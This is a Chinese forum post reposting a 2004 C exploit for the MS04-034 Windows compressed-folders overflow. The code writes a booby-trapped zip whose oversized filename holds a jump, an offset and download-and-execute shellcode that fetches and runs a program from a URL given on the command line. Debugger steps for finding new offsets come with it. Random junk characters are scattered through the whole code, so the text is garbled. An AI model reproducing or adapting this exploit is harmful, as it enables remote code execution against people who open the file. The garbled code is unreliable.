QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2556|回复: 0
打印 上一主题 下一主题

(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 10:51 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)4 H0 ~4 A% v1 _. ~$ ~" r0 @, e6 t * % U n9 j! J1 \/ u; U2 |2 ]3 J* Tested under Windows XP SP0 Spanish/English & }& t" ?* e+ e' u. E! m. c) n7 X* * b/ p; X! R; P' [# \6 L6 r. A* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html 8 O% I& }! Y# r$ P* Exploit Date: 21/10/2004 0 {" T1 A9 y$ R0 ^) e*4 I% d1 H* c/ ` * Tarako - Haxorcitos.com 2004) M o) H/ ?; |: F' I * + i8 O3 _# ~& p: q7 f" Q* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" ) J, j9 p5 v4 m0 B1 Y& l* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION @- x2 h7 ?/ j2 Q! E9 j * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.) ` u$ K0 [ i/ E$ ~ *2 r7 E* A2 i1 i5 C * Greetings t #haxorcitos, #dsr and #localhost @efnet- Y8 X6 c" G3 q# e7 g' L- [% O * 3 }2 c2 c7 j( n# |1 I8 ~8 t*& T0 |. r) z# E6 F) u& g0 ~ * How to get new offsets: # M1 l) h% T, O* 1) attach debugger (i.e ollydbg) to explorer.exe " F% x7 ^0 s. }% U* M3 q* 2) open the zip file as a folder and add or move some files to it% W9 L$ S0 }$ [8 C7 k' J" v" b * 3) search in the explorer.exe memory the shellcode and get the addresses: Q9 b# I# v0 Y * ' A& a- o0 y9 o* y" B, h' z+ ^0 J*/ ; e4 s' Z# M7 k# P: [5 K3 K! I7 c5 [1 ?( Y* g/ q #include <stdio.h> 1 X/ f) i* G0 X1 l#include <windows.h>/ E- r+ S$ D; C& S; q" w/ }4 V' ^/ l- ]6 x8 L + p, o: ^4 Z1 e% | #pragma pack(1) / [/ F7 ?% E' d J: `3 d 6 z, V8 L$ I" s J' b- r#define DATOS "Tarako-Haxorcitos.com"" @; J6 K1 D- |6 | * i: m4 g0 c# ]4 d. R: z5 ctypedef struct {. H& J( Y3 {+ _! w DWORD Signature; // PK.. 4 bytes (0x04034B50) 6 X1 d2 \. r* a- u6 K6 B8 m5 GWORD VersionNeeded;9 Z U* f" u! J WORD GeneralPurposeFlag; // para el data descriptor y demas : m; r; ~2 q1 [! L6 HWORD CompressionMethod; G+ Y$ ]9 P! l) s8 c* F- E2 ^ WORD ModFileTime;) V( `- F( A1 T% `7 e- a) @2 R WORD ModFileDate; " M" U& O; O! ~DWORD Crc32;& F1 F) o& N" P/ W DWORD CompressedSize; . U' o$ ]) ?0 DDWORD UncompressedSize;- Y4 z. a) X+ `8 ^ WORD FilenameLength;0 j2 f+ y5 I( A5 M7 h WORD ExtraFieldLength; $ L7 a, a ~* j6 D- Q5 r$ r3 s// filename (variable size) , F) M3 f" l0 P6 _! \- Y6 E2 P// extra field (variable size) ( y' g6 L# g8 K8 y3 B% K& j}TOPHEADER;' f+ [. u$ X% N4 h X, S5 O 5 A' ?3 H: H& s/ ]. H4 ]1 z/ x 9 A* _6 w4 Q" D. rtypedef struct { - B, k; P* A+ e( K8 ^DWORD Signature; // PK.. 4 bytes (0x02014B50) 5 z; c+ W& Q/ z( `WORD MadeVersion; 7 z' U+ V2 I* y3 j J4 w* y1 ~1 QWORD VersionNeeded;/ J. Y4 G# f! J5 H* p" n( H4 q WORD GeneralPurposeFlag; // para el data descriptor y demas 5 f1 k& T, s3 z4 }WORD CompressionMethod;8 [. Z0 @( Q+ M( p# [ WORD ModFileTime; + u: G; K' u% A1 {WORD ModFileDate;2 E( F2 V4 u. y DWORD Crc32; 4 X* K+ U( d J8 n5 i/ IDWORD CompressedSize; $ n4 h( T: Z" M! ODWORD UncompressedSize;1 P) @- [. m; _9 I& Q" p2 T8 J WORD FilenameLength; 7 G1 {2 D. q1 i* T7 y3 kWORD ExtraFieldLength; - H9 V2 { ]. e! Z& [WORD FileCommentLength;( c5 s+ m" R. l. r WORD DiskNumberStart; : U; \+ J y: q$ MWORD InternalFileAttributes;; W% [5 g1 C- x$ R DWORD ExternalFileAttributes;. k5 i$ i5 _6 b" ?. i DWORD RelativeOffsetOfLocalHeader;! c, ~7 Z Y# x! a8 u: e: f // filename (variable size) 6 l* f5 `. J' l0 E/ x// extra field (variable size)2 s9 b) B6 u ]* B) F, l, m" o0 Y // file comment (variable size) + ?; n1 w$ g. x8 V- }8 e d}MIDDLEHEADER;) U( p, e A- u* ~+ r* ?; ^1 z I3 o 9 a* ~$ K- j2 a. X( U" k9 Etypedef struct { 7 i7 f% Z7 a, f+ q+ P* @DWORD Signature; // PK.. 4 bytes (0x06054B50)( H/ o' y! B; Y) T% n8 V WORD NumOfThisDisk;7 w$ `! h, U8 G9 a- B6 t4 n WORD NumDisckStartCentralDirectory;8 s5 i' N( Q! m: d! d. h( [) h5 k WORD NumEntriesCentralDirOnThisDisk; % P) T5 i1 U' V+ ~2 G( rWORD TotalNumEntriesCentralDir; b" u. P" W A) p# K! \DWORD SizeCentralDirectory; 2 V0 u7 m# P0 t# ADWORD OffsetCentraDirRespectStartDiskNum; 9 S; O8 W- s; w" ?WORD ZipCommentLength; : F" s B" X5 j- z4 I4 f// zipfile comment (variable size) 9 l" j# A2 `1 T2 Q e$ E1 I}BOTTOMHEADER;- l. q+ E& A" z , z$ ^9 k" ~7 w5 ~& R /* z+ a; Q2 e" A0 f* download shellcode - RaiSe - raise@netsearch-ezine.com4 S1 D& r3 ^( M/ L */9 K% I X& s9 i char shellcode1[] = + ^0 C. ]1 G. `2 i; Z"\xEB\x5D\x5F\x8B\xF7\x80\x3F": s$ g, r9 I. d7 k. m6 ?( }: ] "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" % N' G% G7 _4 G' j! _"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" $ z, M3 {9 R: Z! i9 `8 y# h"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"3 j! }' n- q3 }, H4 J0 ~- ]; Z- E4 k "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"3 w8 m' }& Z! h8 G' o "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"8 {; ?+ M, [$ Y9 z% Z; k "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" ' V; L7 N) `7 k3 G"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" . y3 p- l7 W0 ~9 k"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" . y: T8 h6 h) J: i"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"" R" b9 y! E' K8 u8 F, E) x8 M "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 1 j; ~; j0 {( F! c5 L0 p) {"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" 3 ~. C. R4 Q8 e) X- a"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" 0 |. d3 o# y! u: K4 a"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" 0 p& c& U, j" y K& b"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" " c: o, y+ x/ Q; N5 J) {"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"; l2 f/ M; t9 C; p* }- t$ p "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"# k8 d/ B: z0 t; m "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" ( |- u! ~2 y, b3 v"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8") b8 a( {- _3 G+ E& M "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"5 F" g( n7 w8 I6 `( [( T& d "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"& g Y3 X1 \5 ^4 L% O2 T0 C. v7 k "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" + ~& C" U4 h G; O% s$ |8 X4 D; y"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"; y7 m0 W$ }1 K2 V$ _; i9 u "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" 6 T# v+ h& M9 F% u, l) P% c"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" ( h( ~. u) Y* Y- ?) F, Z"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" % C" Z1 d1 J( O3 {"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49". M! C' n! t% c; X+ D/ z "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" * S5 ^+ a# A. r' b, P6 g1 h"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" + h2 F+ d/ _6 \3 l"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"8 r7 Q9 E, J! V "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"; M1 `- {6 \* {, m- [ "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" 4 g5 d/ w7 ?5 B; P M"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"$ c! @! m3 P1 _" \% k* W6 I "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" & J9 j2 {0 B; C2 I"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 5 m6 Y0 _7 W5 |# d. E8 fchar shellcode2[] ="\x08\x01";: N9 d( J E# F( X 4 ?" w( J$ s o* ]char offset[]="\x41\x41\x41\x41"; 2 s# {& M- S8 ?9 D( Q. dchar jmpbelow[]= "\xeb\x06\x90\x90";+ Y' h* w: Z( C" e+ {' M & G' ]$ v+ b! ^8 r8 p int main(int argc,char *argv[]) { ) D6 I+ e4 B$ Q1 V' |) E# c& Q- _ / |5 {7 j1 w( v9 GFILE *ZipFile; ( H- z9 F, C6 ~" B0 Z) FTOPHEADER *Cabecera1;6 C+ u0 o6 ^) j7 u5 j MIDDLEHEADER *Cabecera2; - I6 ]) W& w4 U1 {9 TBOTTOMHEADER *Cabecera3; & A$ N9 i$ z T3 ? 1 H5 }$ d. n' ^0 q) SDWORD c; . T1 N( }5 b, w, H; OUINT i;9 X5 w' b2 e; |8 i char *filename; 7 w7 T2 u. y6 _! h6 {: f& Wchar *url; . U) O* A( K7 ]- q2 R2 k; @6 s- l$ b1 A! T1 f8 r, _* u/ S printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");) A) O* ^; }# h' f( b printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); , F1 u3 f+ O( D ) S P9 ~/ ^; a Y) Fif (argc!=2) {/ A( Z! S; L) T" G; {1 E printf("\n\n Usage: %s <URL> \n",argv[0]); . Y2 @8 }( e( ^5 H& E6 sexit(1);/ O M; c/ f) z7 h' F7 q6 ~ } 2 P& t! z- W0 f3 b7 r3 w# B7 l d4 F5 r! d" i4 M2 Y* ~ url=argv[1]; Y7 {& J u% l" Gprintf("\n * URL: %s",url); ' q& v* B0 k" i& l/ M$ X- f6 f8 j# c; }! L! X. ` ) e% ]8 c8 v# U3 h+ u0 H8 Vif (!(ZipFile=fopen("prueba.zip","w+b"))) { v) Q% f% B- N/ b5 k2 s8 O3 Qprintf("\n [E] fopen()");4 P, }. z+ X Q" @ exit(1); * p. y) R0 [* {} 5 h9 p: F$ ^& e& }+ X" H: k$ G. J* l B7 W0 v% V c=0x8000; // filename length4 X, k$ {5 j+ u4 o filename=(char*)malloc(sizeof(char)*c); 0 t) E; Z1 w8 O0 J memset(filename,0,sizeof(filename));2 j1 p4 K, }5 S8 d$ a : r) C; d4 h- m* j' ?1 N ~9 a$ Pfor( i=0x0;i<c;i++) filename=(BYTE)0x90; 3 I3 ^5 `, r3 v( c* A) Q+ ]1 B2 z/ i memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); & @% u9 o; x, T/ Vmemcpy(filename+0x1818,offset,strlen(offset)); - P$ W) M3 c2 N0 J8 a/ I( }8 w 7 i1 I/ W' P1 q3 W' K# D! P$ w# xmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);- m) I5 n0 M/ g% Q9 ?& c+ M' W5 G memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));* j }( X5 v+ z8 k% s9 I2 n: C! Y memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 3 @2 q) k# t. m+ P; b" t, G3 o* t0 d* ^% Z5 ]" k& S* u7 a% A memcpy(filename+(c-4),".txt",4);- ?% n9 C* a2 l/ [ f' H5 [ ( f2 K. E2 l9 S% W4 ^' N Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); 5 y% D; _4 g6 @" G+ W; UCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));$ ?' Z: a. h; k9 Y% ?; n Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));8 d" A) V4 I5 p& A) X memset(Cabecera1,0,sizeof(TOPHEADER));, _, p/ {* v% |2 I memset(Cabecera2,0,sizeof(MIDDLEHEADER));0 ~3 I" P7 B- ^& E. T memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 8 C7 q, |$ z/ M( e 9 Z$ m6 P, \3 x" n. H) j///////////////////////////////////////////////////////////////////$ @7 K) _9 n( Z) Z6 O$ T" X0 f; {, I // TOPHEADER7 K+ o5 k' z7 n0 h ///////////////////////////////////////////////////////////////////) e& z; \- R( U9 i$ _0 C- ^ Cabecera1->Signature=0x04034B50; // DWORD1 v, D, G4 T# F. q5 f2 s Cabecera1->VersionNeeded=0x000A; // WORD ; M. p3 r+ P S( ~$ PCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas# a" Q, K; Z3 V0 J Cabecera1->CompressionMethod=0x0000; // WORD 0 G& q$ |( A8 [% c8 \Cabecera1->ModFileTime=0x1362; // WORD + L: _# a' H* E: e+ p; ^Cabecera1->ModFileDate=0x3154; // WORD " }8 v4 ^( @% }+ [& a- k7 {Cabecera1->Crc32=0x85B36639; // DWORD ( M0 F) {& I0 w6 x: qCabecera1->CompressedSize=0x00000015; // DWORD / n: u5 i$ W9 U( d' yCabecera1->UncompressedSize=0x00000015; // DWORD 7 u( R+ d" y* b l- u) h& RCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);. B o4 K5 `4 C+ M$ N, A9 b Cabecera1->ExtraFieldLength=0x0000; // WORD ! h$ g! I% b& j/////////////////////////////////////////////////////////////////// 1 Y9 q8 p$ g, K1 f" F' v6 O; d! f' A0 E6 [ ///////////////////////////////////////////////////////////////////6 M4 l7 ]4 q' B' e6 I5 j8 t7 t // MIDDLEHEADER ; O7 q' v- g4 J9 c" T7 G/ P///////////////////////////////////////////////////////////////////! y) T: \3 S7 v( \% C) t' f: F Cabecera2->Signature=0x02014B50; // DWORD* D- [; W/ B% z p8 m- ? Cabecera2->MadeVersion=0x0014; // WORD % z8 ~0 @8 t; k6 i. P( UCabecera2->VersionNeeded=0x000A; // WORD 8 e) H! N- A% f+ dCabecera2->GeneralPurposeFlag=0x0002; // WORD" f6 L3 [2 _6 U$ c; l0 ? Cabecera2->CompressionMethod=0x0000; // WORD" C0 d1 N4 Y! v+ u1 Q! W Cabecera2->ModFileTime=0x1362; // WORD ) L' R& [5 L1 e9 _/ w8 eCabecera2->ModFileDate=0x3154; // WORD 7 q& }7 Z+ E. G9 X$ T W& d( jCabecera2->Crc32=0x85B36639; // DWORD / e3 [( u! ]" t+ i, D9 D( VCabecera2->CompressedSize=0x00000015; // DWORD# z" q+ _* A! ~( W4 q Cabecera2->UncompressedSize=0x00000015; // DWORD 5 G& Q. h2 k4 D3 a% }+ p+ u6 MCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);) {3 t4 S* C) @ Cabecera2->ExtraFieldLength=0x0000; // WORD * z2 y1 d$ s# n) J& l( jCabecera2->FileCommentLength=0x0000; // WORD) W, E5 o( g! i0 v4 z2 [2 ~ Cabecera2->DiskNumberStart=0x0000; // WORD+ C+ ^; \" Z+ y4 ^! b Cabecera2->InternalFileAttributes=0x0001; // WORD- ~. n; Q4 U# w# J) a0 r: c5 t Cabecera2->ExternalFileAttributes=0x00000020; // DWORD " c7 E9 i2 N1 F9 VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD" ^* y5 b* U0 n1 Q /////////////////////////////////////////////////////////////////// 2 a4 F- n& {3 e4 Z" }- ^, G3 B4 ?4 }7 g3 }1 ^ ///////////////////////////////////////////////////////////////////) h0 |2 k, R9 h# ^, t* Z. \ // BOTTOMHEADER / B6 [. R; G" @. P3 p8 {+ z" O( {///////////////////////////////////////////////////////////////////9 c1 J$ d o, d( V7 g Cabecera3->Signature=0x06054B50; // DWORD 9 }! f' q5 l! R' H7 p0 k" d8 V+ C1 XCabecera3->NumOfThisDisk=0x0000; // WORD% u3 \& C6 n4 o8 s0 m$ A Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD - C4 d; J: F0 o7 j RCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD - D6 D3 M: M) e: T0 m/ R7 H1 O; d; mCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD; V6 g9 \6 [7 m3 ~. f; E- X Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD / i" K( N; U4 x/ ~# }; c" ?; C YCabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 1 O: H( @7 K1 _7 y& t: c Cabecera3->ZipCommentLength=0x0000; // WORD ; {2 u* e2 H0 O: |3 l1 S Y///////////////////////////////////////////////////////////////////. j( z9 }4 B% t * ]; m5 o/ Y( {$ V4 Qfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); * L2 V# t+ a/ {2 O0 s* S$ a- U- z5 b9 a4 P0 T$ E fwrite(filename, c, 1,ZipFile); - V/ V8 k% ~: r! efwrite(DATOS,strlen(DATOS),1,ZipFile);( a0 y( B1 A5 Z! c" b / U" d$ c9 y' ?) ] fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); 8 S6 G8 ^. H: [" b, \2 dfwrite(filename, c, 1,ZipFile); : H/ r; F( F o" o, e; E( d fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);2 @# p5 E: H, m# \( p$ M% W 3 a/ x5 X- G7 `* gfclose(ZipFile);+ C* z; B! H, j4 Y) E1 J printf("\n * prueba.zip created\n"); 4 n" q; a$ @+ Y. \" `. N/ Oreturn 1; " O/ X/ Z7 V: ?$ r9 o- w- E}//downloaded from milw0rm.com - t% u1 g0 R( y& C

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-20 05:36 , Processed in 0.495232 second(s), 51 queries .

回顶部